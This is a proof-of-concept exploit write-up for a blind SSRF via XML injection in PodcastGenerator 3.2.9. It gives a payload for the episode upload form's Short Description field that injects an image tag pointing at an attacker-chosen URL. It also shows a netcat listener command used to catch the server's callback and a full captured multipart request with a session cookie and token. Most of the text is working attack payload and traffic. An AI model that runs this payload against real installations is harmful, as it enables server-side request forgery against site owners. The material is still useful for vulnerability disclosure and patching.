PodcastGenerator 3.2.9 - Blind SSRF via XML Injection Vulnerability

#Exploit Title: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection
#Application: PodcastGenerator
#Version: v3.2.9
#Bugs:  Blind SSRF via XML Injection
#Technology: PHP
#Vendor URL: https://podcastgenerator.net/
#Software Link: https://github.com/PodcastGenerator/PodcastGenerator
#Date of found: 01-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 
1. Go to 'Upload New Episodes' (http://localhost/PodcastGenerator/admin/episodes_upload.php)
2. Fill all section and Short Description section set as 'test]]></shortdescPG><imgPG path="">( example :Attacker domain)http://localhost:3132</imgPG><shortdescPG><![CDATA[test'

payload:  test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test

By the way i used localhost.If you have domain, you can use domain.

3.And upload episodes

4. I am listening on port 3132 because I'm observating for incoming requests

nc -lvp 3132

5. And I receive request

request:

POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1
Host: localhost
Content-Length: 101563
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypRUTcUa48pmEcI6Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=rsvvc28on2q91ael2fiou3nad3
Connection: close

------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="file"; filename="2023-07-01_2023-07-01_2023-07-01_4_photo-1575936123452-b67c3203c357_1_ (2).jpeg"
Content-Type: image/jpeg

image content blaaahblahasdfjblaaah;sdfblaaahasdf
asdfasdfadddblaaahdblaaahddddblaaahddddddblaaahblaaahblaaahdddblaaahddddblaaahdblaaahddblaaahdddddblaaahddddddddddd

------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="shortdesc"

test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="date"

2023-07-01
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="time"

17:02
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="episodecover"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="longdesc"

test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="episodenum"

33
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="seasonnum"

33
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="itunesKeywords"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="explicit"

no
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="authorname"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="authoremail"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="customtags"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="token"

vdzM0jc75uLMHV7ovxew8Dawh5mnWSpz
------WebKitFormBoundarypRUTcUa48pmEcI6Q--